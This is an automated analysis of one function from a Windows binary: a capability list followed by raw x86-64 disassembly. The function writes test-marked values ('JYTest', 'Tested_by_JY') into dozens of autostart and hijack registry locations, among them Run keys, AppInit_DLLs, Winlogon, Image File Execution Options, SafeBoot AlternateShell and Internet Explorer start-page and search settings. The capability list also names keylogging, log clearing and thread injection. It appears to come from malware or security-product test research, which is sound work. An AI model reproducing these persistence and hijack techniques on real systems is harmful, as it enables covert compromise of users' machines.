Function at 0x140002a80
Capabilities:
Add user account
Check for debugger via api
Check if file exists
Check mutex and terminate process on windows
Check mutex on windows
Check os version
Clear windows event logs
Connect socket
Copy file
Create directory
Create mailslot
Create new key via cryptacquirecontext
Create pipe
Create service
Create thread
Delete file
Delete registry key
Delete registry value
Delete service
Enumerate processes
Get common file path
Get file attributes
Get file size
Get installed programs
Initialize winhttp library
Initialize winsock library
Inject thread
Log keystrokes via application hook
Log keystrokes via polling
Manipulate boot configuration
Move file
Open clipboard
Persist via appinit_dlls registry key
Persist via lnk shortcut
Persist via run registry key
Persist via winlogon helper dll registry key
Query environment variable
Query or enumerate registry key
Query or enumerate registry value
Read and send data from client to server
Read clipboard data
Read file on windows
Read file via mapping
Reference google public dns server
Resolve dns
Self delete
Send data
Send data on socket
Send http request
Send http request with host header
Set file attributes
Terminate process
Write file on windows
Write pipe

Disassembly:
push rbp
push rdi
push r12
push r14
push r15
sub rsp, 0xc10
lea rbp, [rsp + 0x70]
mov qword [rbp + 0xbe0], rbx
mov qword [rbp + 0xbe8], rsi
mov rax, qword [0x140056010]
xor rax, rbp
mov qword [rbp + 0xb90], rax
mov edi, edx
mov esi, ecx
xor r14d, r14d
lea rcx, [rbp + 0x990]
xor edx, edx
mov r8d, 0x200
mov ebx, r14d
call fcn.140013860
cmp esi, 0x2000009
ja 0x140005339
je 0x140005217
add esi, 0xfeffffff
cmp esi, 0x31
ja case.default.0x14000d0ae
lea rdx, [0x140000000]
mov eax, dword [rdx + rsi*4 + 0xde9c]
add rax, rdx
jmp rax
cmp edi, 0x10080001
ja 0x140002c77
je 0x140002c57
cmp edi, 0x10040001
ja 0x140002bdb
je 0x140002ba2
cmp edi, 0x10010001
je 0x140002b82
cmp edi, 0x10020001
je 0x140002b62
cmp edi, 0x10030001
jne case.default.0x14000d0ae
mov r8d, 1
lea rdx, [0x14003c728]
lea rcx, str.HKCUSOFTWAREMicrosoftWindowsCurrentVersionRunOnceJYTest
call fcn.140010a20
mov ebx, eax
jmp case.default.0x14000d0ae
mov r8d, 1
lea rdx, [0x14003ca70]
lea rcx, str.HKCUSOFTWAREMicrosoftWindowsCurrentVersionRunJYTest
call fcn.140010a20
mov ebx, eax
jmp case.default.0x14000d0ae
mov r8d, 1
lea rdx, [0x14003ca98]
lea rcx, str.HKCUSoftwareMicrosoftCommand_ProcessorAutoRun
call fcn.140010a20
mov ebx, eax
jmp case.default.0x14000d0ae
mov r8d, 1
lea rdx, [0x14003c440]
lea rcx, str.HKCUSoftwareMicrosoftWindows_NTCurrentVersionWindowsload
call fcn.140010a20
mov r8d, 1
lea rdx, [0x14003c468]
lea rcx, str.HKCUSoftwareMicrosoftWindows_NTCurrentVersionWindows_run
call fcn.140010a20
mov ebx, eax
jmp case.default.0x14000d0ae
cmp edi, 0x10050001
je 0x140002c37
cmp edi, 0x10060001
je 0x140002c17
cmp edi, 0x10070001
jne case.default.0x14000d0ae
mov r8d, 1
lea rdx, [0x14003c928]
lea rcx, str.HKCUSOFTWAREMicrosoftWindowsCurrentVersionRunServicesOnceJYTest
call fcn.140010a20
mov ebx, eax
jmp case.default.0x14000d0ae
mov r8d, 1
lea rdx, [0x14003c850]
lea rcx, str.HKCUSOFTWAREMicrosoftWindowsCurrentVersionRunOnceSetupJYTest
call fcn.140010a20
mov ebx, eax
jmp case.default.0x14000d0ae
mov r8d, 1
lea rdx, [0x14003c878]
lea rcx, str.HKCUSOFTWAREMicrosoftWindowsCurrentVersionRunServicesJYTest
call fcn.140010a20
mov ebx, eax
jmp case.default.0x14000d0ae
mov r8d, 1
lea rdx, [0x14003c590]
lea rcx, str.HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerRunJYTest
call fcn.140010a20
mov ebx, eax
jmp case.default.0x14000d0ae
cmp edi, 0x100e0001
ja 0x140002d21
je 0x140002d01
cmp edi, 0x10090001
je 0x140002ce1
cmp edi, 0x100c0001
je 0x140002cc1
cmp edi, 0x100d0001
jne case.default.0x14000d0ae
mov r8d, 1
lea rdx, [0x14003c5b8]
lea rcx, str.HKLMSOFTWAREMicrosoftWindowsCurrentVersionExplorerRunJYTest
call fcn.140010a20
mov ebx, eax
jmp case.default.0x14000d0ae
mov r8d, 1
lea rdx, [0x14003c258]
lea rcx, str.HKLMSoftwareMicrosoftWindowsCurrentVersionRunServicesJYTest
call fcn.140010a20
mov ebx, eax
jmp case.default.0x14000d0ae
mov r8d, 1
lea rdx, [0x14003cc50]
lea rcx, str.HKLMSoftwareMicrosoftWindowsCurrentVersionRunJYTest
call fcn.140010a20
mov ebx, eax
jmp case.default.0x14000d0ae
mov r8d, 1
lea rdx, [0x14003c388]
lea rcx, str.HKLMSoftwareMicrosoftWindowsCurrentVersionRunServicesOnceJYTest
call fcn.140010a20
mov ebx, eax
jmp case.default.0x14000d0ae
cmp edi, 0x10100001
je 0x140002d7d
cmp edi, 0x10110001
je 0x140002d5d
cmp edi, 0x10120001
jne case.default.0x14000d0ae
mov r8d, 1
lea rdx, [0x14003c678]
lea rcx, str.HKLMSOFTWAREMicrosoftWindowsCurrentVersionRunOnceExJYTest
call fcn.140010a20
mov ebx, eax
jmp case.default.0x14000d0ae
mov r8d, 1
lea rdx, [0x14003cba8]
lea rcx, str.HKCUSOFTWAREMicrosoftWindowsCurrentVersionRunOnceExJYTest
call fcn.140010a20
mov ebx, eax
jmp case.default.0x14000d0ae
mov r8d, 1
lea rdx, str.C:UsersJY.exe
lea rcx, str.HKLMSoftwareMicrosoftWindowsCurrentVersionRunOnceJYTest
call fcn.140010a20
mov ebx, eax
jmp case.default.0x14000d0ae
cmp edi, 0x101c0002
ja 0x140003294
je 0x14000326f
cmp edi, 0x100f0002
ja 0x140003077
je 0x140003057
cmp edi, 0x10080002
ja 0x140002f59
je 0x140002f25
cmp edi, 0x10050002
ja 0x140002ed1
je 0x140002e9d
cmp edi, 0x10010002
je 0x140002e69
cmp edi, 0x10020002
je 0x140002e35
cmp edi, 0x10040002
jne case.default.0x14000d0ae
mov r8d, 1
lea rdx, [0x14003e868]
lea rcx, str.HKLMSoftwareMicrosoftWindowsCurrentVersionShell_ExtensionsApprovedJYJY
call fcn.140010a20
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionShell_ExtensionsApprovedJY
mov rcx, 0xffffffff80000002
mov ebx, eax
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
jmp case.default.0x14000d0ae
mov r8d, 1
lea rdx, [0x14003e658]
lea rcx, str.HKCUSoftwareMicrosoftInternet_ExplorerToolbarShellBrowserJYJY
call fcn.140010a20
lea rdx, str.SoftwareMicrosoftInternet_ExplorerToolbarShellBrowserJY
mov rcx, 0xffffffff80000001
mov ebx, eax
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
jmp case.default.0x14000d0ae
mov r8d, 1
lea rdx, [0x14003e840]
lea rcx, str.HKCUSoftwareMicrosoftInternet_ExplorerToolbarWebBrowserJYJY
call fcn.140010a20
lea rdx, str.SoftwareMicrosoftInternet_ExplorerToolbarWebBrowserJY
mov rcx, 0xffffffff80000001
mov ebx, eax
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
jmp case.default.0x14000d0ae
mov r8d, 1
lea rdx, [0x14003e630]
lea rcx, str.HKCRFolder_shellexColumnHandlersJYTestJY
call fcn.140010a20
lea rdx, str.Folder_shellexColumnHandlersJYTest
mov rcx, 0xffffffff80000000
mov ebx, eax
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
jmp case.default.0x14000d0ae
cmp edi, 0x10060002
je 0x140002f05
cmp edi, 0x10070002
jne case.default.0x14000d0ae
mov r8d, 1
lea rdx, [0x14003d958]
lea rcx, str.HKCUSoftwareMicrosoftWindows_NTCurrentVersionAccessibilityConfiguration
call fcn.140010a20
mov ebx, eax
jmp case.default.0x14000d0ae
mov r8d, 1
lea rdx, str.3333
lea rcx, str.HKCUSoftwareMicrosoftWindows_NTCurrentVersionWinlogonParseAutoexec
call fcn.140010a20
mov ebx, eax
jmp case.default.0x14000d0ae
mov r8d, 1
lea rdx, str.C:Tested_by_JY.vbs
lea rcx, str.HKLMSoftwarePoliciesMicrosoftWindowsSystemScriptsStartupJY_a
call fcn.140010a20
lea rdx, str.SoftwarePoliciesMicrosoftWindowsSystemScriptsStartupJY
mov rcx, 0xffffffff80000002
mov ebx, eax
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
jmp case.default.0x14000d0ae
cmp edi, 0x100c0002
ja 0x140003003
je 0x140002fe3
cmp edi, 0x10090002
je 0x140002fc3
cmp edi, 0x100a0002
je 0x140002fa3
cmp edi, 0x100b0002
jne case.default.0x14000d0ae
mov r8d, 1
lea rdx, [0x14003dc68]
lea rcx, str.HKCUSoftwareMicrosoftWindowsCurrentVersionExplorerFileExts.comApplication
call fcn.140010a20
mov ebx, eax
jmp case.default.0x14000d0ae
mov r8d, 1
lea rdx, [0x14003db98]
lea rcx, str.HKCUSoftwareMicrosoftWindowsCurrentVersionExplorerFileExts.cmdApplication
call fcn.140010a20
mov ebx, eax
jmp case.default.0x14000d0ae
mov r8d, 1
lea rdx, [0x14003dac8]
lea rcx, str.HKCUSoftwareMicrosoftWindowsCurrentVersionExplorerFileExts.batApplication
call fcn.140010a20
mov ebx, eax
jmp case.default.0x14000d0ae
mov r8d, 1
lea rdx, [0x14003dd38]
lea rcx, str.HKCUSoftwareMicrosoftWindowsCurrentVersionExplorerFileExts.exeApplication
call fcn.140010a20
mov ebx, eax
jmp case.default.0x14000d0ae
cmp edi, 0x100d0002
je 0x140003037
cmp edi, 0x100e0002
jne case.default.0x14000d0ae
mov r8d, 1
lea rdx, [0x14003ded8]
lea rcx, str.HKCUSoftwareMicrosoftWindowsCurrentVersionExplorerFileExts.pifApplication
call fcn.140010a20
mov ebx, eax
jmp case.default.0x14000d0ae
mov r8d, 1
lea rdx, [0x14003de08]
lea rcx, str.HKCUSoftwareMicrosoftWindowsCurrentVersionExplorerFileExts.htaApplication
call fcn.140010a20
mov ebx, eax
jmp case.default.0x14000d0ae
mov r8d, 1
lea rdx, [0x14003dfa8]
lea rcx, str.HKCUSoftwareMicrosoftWindowsCurrentVersionExplorerFileExts.scrApplication
call fcn.140010a20
mov ebx, eax
jmp case.default.0x14000d0ae
cmp edi, 0x10160002
ja 0x14000319f
je 0x14000317f
cmp edi, 0x10130002
ja 0x140003133
je 0x140003113
cmp edi, 0x10100002
je 0x1400030f3
cmp edi, 0x10110002
je 0x1400030d3
cmp edi, 0x10120002
jne case.default.0x14000d0ae
mov r8d, 1
lea rdx, [0x14003cd98]
lea rcx, str.HKLMSystemCurrentControlSetControlWOWcmdline
call fcn.140010a20
mov ebx, eax
jmp case.default.0x14000d0ae
mov r8d, 1
lea rdx, [0x14003d0f0]
lea rcx, [0x14003d140]
call fcn.140010a20
mov ebx, eax
jmp case.default.0x14000d0ae
mov r8d, 1
lea rdx, [0x14003e078]
lea rcx, str.HKCUSoftwareMicrosoftWindowsCurrentVersionShellServiceObjectDelayLoadJYTest
call fcn.140010a20
mov ebx, eax
jmp case.default.0x14000d0ae
mov r8d, 1
lea rdx, [0x14003d6b8]
lea rcx, str.HKLMSystemCurrentControlSetControlSafeBootAlternateShell
call fcn.140010a20
mov ebx, eax
jmp case.default.0x14000d0ae
cmp edi, 0x10140002
je 0x14000315f
cmp edi, 0x10150002
jne case.default.0x14000d0ae
mov edx, 1
lea rcx, str.HKLMSystemCurrentControlSetControlSafeBootOptionUseAlternateShell
call fcn.1400109c0
mov ebx, eax
jmp case.default.0x14000d0ae
mov r8d, 1
lea rdx, [0x14003cc78]
lea rcx, str.HKLMSystemCurrentControlSetControlSession_ManagerSetupExecute
call fcn.140010a20
mov ebx, eax
jmp case.default.0x14000d0ae
mov r8d, 1
lea rdx, str.JY.dll
lea rcx, str.HKLMSystemCurrentControlSetControlSecurityProvidersSecurityProviders
call fcn.140010a20
mov ebx, eax
jmp case.default.0x14000d0ae
cmp edi, 0x10170002
je 0x14000324f
cmp edi, 0x10180002
je 0x14000322f
cmp edi, 0x10190002
je 0x14000320f
cmp edi, 0x101a0002
je 0x1400031ef
cmp edi, 0x101b0002
jne case.default.0x14000d0ae
mov r8d, 1
lea rdx, [0x14003d3e8]
lea rcx, str.HKLMSystemCurrentControlSetControlBootVerificationProgramImagePath
call fcn.140010a20
mov ebx, eax
jmp case.default.0x14000d0ae
mov r8d, 1
lea rdx, [0x14003e148]
lea rcx, str.HKLMSOFTWAREMicrosoftWindows_NTCurrentVersionDrivers32midi
call fcn.140010a20
mov ebx, eax
jmp case.default.0x14000d0ae
mov r8d, 1
lea rdx, [0x14003d2f0]
lea rcx, str.HKLMSoftwareMicrosoftWindows_NTCurrentVersionWinlogon_shell
call fcn.140010a20
mov ebx, eax
jmp case.default.0x14000d0ae
mov r8d, 1
lea rdx, [0x14003e1f8]
lea rcx, str.HKLMSOFTWAREMicrosoftWindows_NTCurrentVersionSvcHostJYTest
call fcn.140010a20
mov ebx, eax
jmp case.default.0x14000d0ae
mov r8d, 1
lea rdx, [0x14003d250]
lea rcx, str.HKLMSoftwareMicrosoftWindows_NTCurrentVersionWindowsAppInit_DLLs
call fcn.140010a20
mov ebx, eax
jmp case.default.0x14000d0ae
call fcn.1400020e0
mov r8d, 1
lea rdx, [0x14003ce48]
lea rcx, str.HKLMSystemCurrentControlSetControlSession_ManagerKnownDllsJYTest
call fcn.140010a20
mov ebx, eax
jmp case.default.0x14000d0ae
cmp edi, 0x102b0002
ja 0x1400035a9
je 0x140003589
cmp edi, 0x10240002
ja 0x1400033ef
je 0x1400033cf
cmp edi, 0x10210002
ja 0x140003362
je 0x140003342
cmp edi, 0x101d0002
je 0x140003322
cmp edi, 0x101e0002
je 0x140003302
cmp edi, 0x101f0002
jne case.default.0x14000d0ae
mov r8d, 1
lea rdx, str.Tested_by_JY
lea rcx, str.HKLMSoftwareMicrosoftWindowsCurrentVersionShellServiceObjectDelayLoadE5381FB2_DE35_114F_9C88_00AD2179
call fcn.140010a20
mov ebx, eax
jmp case.default.0x14000d0ae
mov r8d, 1
lea rdx, [0x14003d028]
lea rcx, str.HKLMSYSTEMCurrentControlSetControlTerminal_ServerWds_rdpwdStartupPrograms
call fcn.140010a20
mov ebx, eax
jmp case.default.0x14000d0ae
mov r8d, 1
lea rdx, [0x14003d118]
lea rcx, str.HKLMSoftwareMicrosoftWindows_NTCurrentVersionAccessibilityConfiguration
call fcn.140010a20
mov ebx, eax
jmp case.default.0x14000d0ae
mov r8d, 1
lea rdx, [0x14003ce58]
lea rcx, str.HKLMSOFTWAREMicrosoftWindowsCurrentVersionExplorerSharedTaskSchedulerJYTest
call fcn.140010a20
mov ebx, eax
jmp case.default.0x14000d0ae
cmp edi, 0x10220002
je 0x1400033af
cmp edi, 0x10230002
jne case.default.0x14000d0ae
mov r8d, 1
lea rdx, [0x14003e500]
lea rcx, str.HKCR.bfcShellNewCommand
call fcn.140010a20
mov r8d, 1
lea rdx, [0x14003e560]
lea rcx, str.HKCR.bfcShellNewCommandCommand
call fcn.140010a20
mov ebx, eax
jmp case.default.0x14000d0ae
mov r8d, 1
lea rdx, [0x14003d690]
lea rcx, str.HKLMSystemCurrentControlSetControlClass4D36E96B_E325_11CE_BFC1_08002BE10318UpperFilters
call fcn.140010a20
mov ebx, eax
jmp case.default.0x14000d0ae
mov r8d, 1
lea rdx, [0x14003e588]
lea rcx, str.HKCR.lnkShellNewCommand
call fcn.140010a20
mov ebx, eax
jmp case.default.0x14000d0ae
cmp edi, 0x10260002
je 0x140003569
cmp edi, 0x10270002
je 0x140003549
cmp edi, 0x10280002
je 0x140003463
cmp edi, 0x10290002
je 0x140003443
cmp edi, 0x102a0002
jne case.default.0x14000d0ae
mov r8d, 1
lea rdx, [0x14003ec68]
lea rcx, str.HKLMSOFTWAREClassesPROTOCOLSFilterAction
call fcn.140010a20
mov ebx, eax
jmp case.default.0x14000d0ae
mov r8d, 1
lea rdx, [0x14003ec40]
lea rcx, str.HKCUSoftwareMicrosoftWindowsCurrentVersionExplorerAutoplayHandlersHandlersAction
call fcn.140010a20
mov ebx, eax
jmp case.default.0x14000d0ae
movaps xmm0, xmmword [str.HKCUSOFTWAREMicrosoftWindowsCurrentVersionExplorerMountPoints2_]
lea rcx, [rbp + 0x5fc]
movaps xmm1, xmmword [0x14003eb90]
xor edx, edx
mov eax, dword [0x14003ec08]
mov r8d, 0x172
movaps xmmword [rbp + 0x570], xmm0
movaps xmm0, xmmword [0x14003eba0]
movaps xmmword [rbp + 0x590], xmm0
movaps xmm0, xmmword [0x14003ebc0]
movaps xmmword [rbp + 0x580], xmm1
movaps xmm1, xmmword [0x14003ebb0]
movaps xmmword [rbp + 0x5b0], xmm0
movaps xmm0, xmmword [0x14003ebe0]
movaps xmmword [rbp + 0x5a0], xmm1
movaps xmm1, xmmword [0x14003ebd0]
movaps xmmword [rbp + 0x5d0], xmm0
movsd xmm0, qword [0x14003ec00]
movaps xmmword [rbp + 0x5c0], xmm1
movaps xmm1, xmmword [0x14003ebf0]
movsd qword [rbp + 0x5f0], xmm0
movaps xmmword [rbp + 0x5e0], xmm1
mov dword [rbp + 0x5f8], eax
call fcn.140013860
lea rdx, str.0000000F_0000_0000_0000_000000000000
lea rcx, [rbp + 0x570]
call fcn.14000ffd0
lea rdx, str._shellopencommandJY
lea rcx, [rbp + 0x570]
call fcn.14000ffd0
mov r8d, 1
lea rdx, [0x14003e9b8]
lea rcx, [rbp + 0x570]
call fcn.140010a20
mov ebx, eax
jmp case.default.0x14000d0ae
mov r8d, 1
lea rdx, [0x140039d6c]
lea rcx, str.HKCUSOFTWAREClasses_shellexContextMenuHandlersJYTest
call fcn.140010a20
mov ebx, eax
jmp case.default.0x14000d0ae
mov r8d, 1
lea rdx, [0x14003e918]
lea rcx, str.HKCRSoftwareClasses_shellexContextMenuHandlersJY
call fcn.140010a20
mov ebx, eax
jmp case.default.0x14000d0ae
mov r8d, 1
lea rdx, [0x14003ed48]
lea rcx, str.HKLMSOFTWAREClassesPROTOCOLSHandlerAction
call fcn.140010a20
mov ebx, eax
jmp case.default.0x14000d0ae
cmp edi, 0x10330002
ja 0x1400036d1
je 0x1400036b9
cmp edi, 0x102f0002
ja 0x140003665
je 0x140003645
cmp edi, 0x102c0002
je 0x140003625
cmp edi, 0x102d0002
je 0x140003605
cmp edi, 0x102e0002
jne case.default.0x14000d0ae
mov r8d, 1
lea rdx, [0x14003f338]
lea rcx, str.HKLMSOFTWAREMicrosoftWindowsCurrentVersionRunExJY
call fcn.140010a20
mov ebx, eax
jmp case.default.0x14000d0ae
mov r8d, 1
lea rdx, [0x14003e3b8]
lea rcx, str.HKLMSystemCurrentControlSetControlPrintMonitorsJY
call fcn.140010a20
mov ebx, eax
jmp case.default.0x14000d0ae
mov r8d, 1
lea rdx, [0x140039d94]
lea rcx, str.HKLMSOFTWAREClasses_shellexContextMenuHandlersJYTest
call fcn.140010a20
mov ebx, eax
jmp case.default.0x14000d0ae
mov r8d, 1
lea rdx, [0x14003f310]
lea rcx, str.HKLMSOFTWAREMicrosoftWindowsCurrentVersionApp_PathsJY
call fcn.140010a20
mov ebx, eax
jmp case.default.0x14000d0ae
cmp edi, 0x10310002
je 0x140003699
cmp edi, 0x10320002
jne case.default.0x14000d0ae
mov r8d, 1
lea rdx, [0x14003ef88]
lea rcx, str.HKLMSOFTWAREMicrosoftWindows_NTCurrentVersionWinlogonJY
call fcn.140010a20
mov ebx, eax
jmp case.default.0x14000d0ae
mov r8d, 1
lea rdx, [0x14003eea8]
lea rcx, str.HKLMSOFTWAREMicrosoftActive_SetupInstalled_ComponentsJYStubPath
call fcn.140010a20
mov ebx, eax
jmp case.default.0x14000d0ae
mov edx, 1
lea rcx, str.HKLMSOFTWAREMicrosoftWindows_NTCurrentVersionWinlogonNotifyJYDLLName
call fcn.1400109c0
mov ebx, eax
jmp case.default.0x14000d0ae
cmp edi, 0x10340002
je 0x140003799
cmp edi, 0x10350002
je 0x140003779
cmp edi, 0x10360002
je 0x140003759
cmp edi, 0x10370002
je 0x140003725
cmp edi, 0x10460002
jne case.default.0x14000d0ae
mov r8d, 1
lea rdx, [0x14003f3d8]
lea rcx, str.HKCUSOFTWAREMicrosoftWindowsCurrentVersionRunExJY
call fcn.140010a20
mov ebx, eax
jmp case.default.0x14000d0ae
mov r8d, 1
lea rdx, [0x14003f078]
lea rcx, str.HKLMSOFTWAREMicrosoftWindows_NTcurrentversionimage_file_execution_optionsJYJY
call fcn.140010a20
lea rdx, str.SOFTWAREMicrosoftWindows_NTcurrentversionimage_file_execution_optionsJY
mov rcx, 0xffffffff80000002
mov ebx, eax
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
jmp case.default.0x14000d0ae
mov r8d, 1
lea rdx, [0x14003e390]
lea rcx, str.HKLMSoftwareMicrosoftWindowsCurrentVersionExplorerDeviceNotificationCallbacksJY
call fcn.140010a20
mov ebx, eax
jmp case.default.0x14000d0ae
mov r8d, 1
lea rdx, [0x14003e2a8]
lea rcx, str.HKLMSoftwareMicrosoftWindowsCurrentVersionExplorerAutoplayHandlersHandlersJYTestAction
call fcn.140010a20
mov ebx, eax
jmp case.default.0x14000d0ae
mov r8d, 1
lea rdx, [0x14003ef60]
lea rcx, str.HKLMSOFTWAREMicrosoftWindows_NTCurrentVersionAccessibilityUtility_ManagerApplication_Path
call fcn.140010a20
mov ebx, eax
jmp case.default.0x14000d0ae
cmp edi, 0x10040004
ja 0x140003906
je 0x1400038a6
cmp edi, 0x10010004
je 0x140003886
cmp edi, 0x10020004
je 0x140003866
cmp edi, 0x10030004
jne case.default.0x14000d0ae
mov r8d, 1
lea rdx, str.C:Windows_system32JY.exe
lea rcx, [0x14003f640]
call fcn.140011160
mov r8d, 1
lea rdx, str.C:Windows_system32Tested_by_JY.exe
lea rcx, [0x14003f710]
call fcn.140010a20
lea r8, [rbp]
mov rcx, 0xffffffff80000002
lea rdx, [0x14003f790]
mov ebx, eax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
test eax, eax
jne 0x14000dd28
lea rdx, [0x14003f6a8]
mov rcx, qword [rbp]
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
test eax, eax
je case.default.0x14000d0ae
mov ebx, 0x65b
jmp case.default.0x14000d0ae
mov r8d, 1
lea rdx, [0x14003f508]
lea rcx, str.HKLMSYSTEMCurrentControlSetServicesJYServiceDll
call fcn.140010a20
mov ebx, eax
jmp case.default.0x14000d0ae
mov r8d, 1
lea rdx, [0x14003f4e0]
lea rcx, [0x14003f530]
call fcn.140010a20
mov ebx, eax
jmp case.default.0x14000d0ae
mov r8d, 1
lea rdx, str.C:Windows_system32drivers_ntfs.sys
lea rcx, [0x14003f830]
call fcn.140011160
mov r8d, 1
lea rdx, str.C:Windows_system32driversjy.exe
lea rcx, [0x14003f930]
call fcn.140010a20
lea r8, [rbp]
mov rcx, 0xffffffff80000002
lea rdx, str.SYSTEMCurrentControlSetServicesJY
mov ebx, eax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
test eax, eax
jne 0x14000dd28
lea rdx, [0x14003f778]
jmp 0x14000384a
cmp edi, 0x10050004
je 0x14000393a
cmp edi, 0x10060004
jne case.default.0x14000d0ae
mov r8d, 1
lea rdx, [0x14003f908]
lea rcx, str.HKLMSYSTEMCurrentControlSetServicesJYDescription
call fcn.140010a20
mov ebx, eax
jmp case.default.0x14000d0ae
mov r8d, 1
lea rdx, [0x14003f898]
lea rcx, str.HKLMSYSTEMCurrentControlSetServicesJYDisplayName
call fcn.140010a20
mov ebx, eax
jmp case.default.0x14000d0ae
cmp edi, 0x10010005
jne case.default.0x14000d0ae
mov r8d, 1
lea rdx, [0x14003f998]
lea rcx, [0x14003faf0]
call fcn.140010a20
mov ebx, eax
jmp case.default.0x14000d0ae
cmp edi, 0x10010006
je 0x1400039ba
cmp edi, 0x10020006
jne case.default.0x14000d0ae
mov r8d, 1
lea rdx, [0x14003fb68]
lea rcx, [0x14003fc20]
call fcn.140010a20
mov ebx, eax
jmp case.default.0x14000d0ae
mov r8d, 1
lea rdx, [0x14003fb40]
lea rcx, str.HKCUSOFTWAREMicrosoftInternet_ExplorerToolbar_
call fcn.140010a20
mov ebx, eax
jmp case.default.0x14000d0ae
cmp edi, 0x10010007
jne case.default.0x14000d0ae
mov r8d, 1
lea rdx, [0x14003c9d4]
lea rcx, str.HKLMSOFTWAREMicrosoftWindowsCurrentVersionExplorerBrowser_Helper_ObjectsVIRUSBy_JY
call fcn.140010a20
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionExplorerBrowser_Helper_ObjectsVIRUS
mov rcx, 0xffffffff80000002
mov ebx, eax
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
jmp case.default.0x14000d0ae
cmp edi, 0x10010008
je 0x140003a76
cmp edi, 0x10020008
je 0x140003a56
cmp edi, 0x10030008
jne case.default.0x14000d0ae
mov r8d, 1
lea rdx, [0x14003fbf8]
lea rcx, str.HKLMSoftwareMicrosoftInternet_ExplorerMainStart_Page
call fcn.140010a20
mov ebx, eax
jmp case.default.0x14000d0ae
mov r8d, 1
lea rdx, [0x14003fc88]
lea rcx, str.HKCUSoftwarePoliciesMicrosoftInternet_ExplorerControl_PanelHomePage
call fcn.140010a20
mov ebx, eax
jmp case.default.0x14000d0ae
mov r8d, 1
lea rdx, [0x14003ff38]
lea rcx, str.HKCUSoftwareMicrosoftInternet_ExplorerMainStart_Page
call fcn.140010a20
mov ebx, eax
jmp case.default.0x14000d0ae
cmp edi, 0x10010009
je 0x140003b99
cmp edi, 0x10020009
je 0x140003b79
cmp edi, 0x10030009
je 0x140003b59
cmp edi, 0x10040009
je 0x140003b39
cmp edi, 0x10050009
jne case.default.0x14000d0ae
mov r8d, 1
lea rdx, [0x140040260]
lea rcx, str.HKCUSOFTWAREMicrosoftInternet_ExplorerSearchScopesDefaultScope
call fcn.140010a20
mov r8d, 1
lea rdx, [0x140040278]
lea rcx, str.HKCUSOFTWAREMicrosoftInternet_ExplorerSearchScopesJYURL
call fcn.140010a20
mov r8d, 1
lea rdx, [0x140040318]
lea rcx, str.HKCUSOFTWAREMicrosoftInternet_ExplorerSearchScopesJYSuggestionsURLFallback
call fcn.140010a20
mov r8d, 1
lea rdx, str.www.jy.com
lea rcx, str.HKCUSOFTWAREMicrosoftInternet_ExplorerSearchScopesJYTopResultURLFallback
call fcn.140010a20
mov ebx, eax
jmp case.default.0x14000d0ae
mov r8d, 1
lea rdx, [0x14003ffd8]
lea rcx, str.HKLMSoftwareMicrosoftInternet_ExplorerSearchCustomizeSearch
call fcn.140010a20
mov ebx, eax
jmp case.default.0x14000d0ae
mov r8d, 1
lea rdx, [0x140040088]
lea rcx, str.HKCUSoftwareMicrosoftInternet_ExplorerURLSearchHooksJY
call fcn.140010a20
mov ebx, eax
jmp case.default.0x14000d0ae
mov r8d, 1
lea rdx, [0x1400401d8]
lea rcx, str.HKCUSoftwareMicrosoftInternet_ExplorerSearchURLJY
call fcn.140010a20
mov ebx, eax
jmp case.default.0x14000d0ae
mov r8d, 1
lea rdx, [0x140040128]
lea rcx, str.HKCUSoftwareMicrosoftInternet_ExplorerSearchSearchAssistant
call fcn.140010a20
mov ebx, eax
jmp case.default.0x14000d0ae
cmp edi, 0x1007000a
ja 0x140003ce9
je 0x140003cc9
cmp edi, 0x1004000a
ja 0x140003c75
je 0x140003c55
cmp edi, 0x1001000a
je 0x140003c35
cmp edi, 0x1002000a
je 0x140003c15
cmp edi, 0x1003000a
jne case.default.0x14000d0ae
mov r8d, 1
lea rdx, [0x140040718]
lea rcx, str.HKCUSoftwareMicrosoftWindowsCurrentVersionInternet_SettingsProxyOverride
call fcn.140010a20
mov ebx, eax
jmp case.default.0x14000d0ae
mov r8d, 1
lea rdx, [0x1400405e8]
lea rcx, str.HKCUSoftwareMicrosoftWindowsCurrentVersionExplorerShellState
call fcn.140010a20
mov ebx, eax
jmp case.default.0x14000d0ae
mov r8d, 1
lea rdx, [0x1400408c8]
lea rcx, str.HKCUSoftwareMicrosoftInternet_Connection_WizardShellNext
call fcn.140010a20
mov ebx, eax
jmp case.default.0x14000d0ae
mov r8d, 1
lea rdx, [0x140040538]
lea rcx, str.HKLMSoftwareMicrosoftWindowsCurrentVersionURLPrefixesJY
call fcn.140010a20
mov ebx, eax
jmp case.default.0x14000d0ae
cmp edi, 0x1005000a
je 0x140003ca9
cmp edi, 0x1006000a
jne case.default.0x14000d0ae
mov r8d, 1
lea rdx, [0x1400407e0]
lea rcx, str.HKLMSOFTWAREClientsStartMenuInternetIEXPLORE.EXE_shellopencommand_
call fcn.140010a20
mov ebx, eax
jmp case.default.0x14000d0ae
mov r8d, 1
lea rdx, [0x140040510]
lea rcx, str.HKLMSoftwareMicrosoftWindowsCurrentVersionURLDefaultPrefixJY
call fcn.140010a20
mov ebx, eax
jmp case.default.0x14000d0ae
mov r8d, 1
lea rdx, [0x140040b20]
lea rcx, str.HKCUSoftwarePoliciesMicrosoftWindowsJY
call fcn.140010a20
mov ebx, eax
jmp case.default.0x14000d0ae
cmp edi, 0x100b000a
ja 0x140003d93
je 0x140003d73
cmp edi, 0x1008000a
je 0x140003d53
cmp edi, 0x1009000a
je 0x140003d33
cmp edi, 0x100a000a
jne case.default.0x14000d0ae
mov r8d, 1
lea rdx, [0x140040b48]
lea rcx, str.HKCUSoftwarePoliciesMicrosoftWindowsCurrentVersionInternet_SettingsJY
call fcn.140010a20
mov ebx, eax
jmp case.default.0x14000d0ae
mov r8d, 1
lea rdx, [0x1400409e0]
lea rcx, str.HKCUSoftwareMicrosoftInternet_ExplorerDesktopComponentsJY
call fcn.140010a20
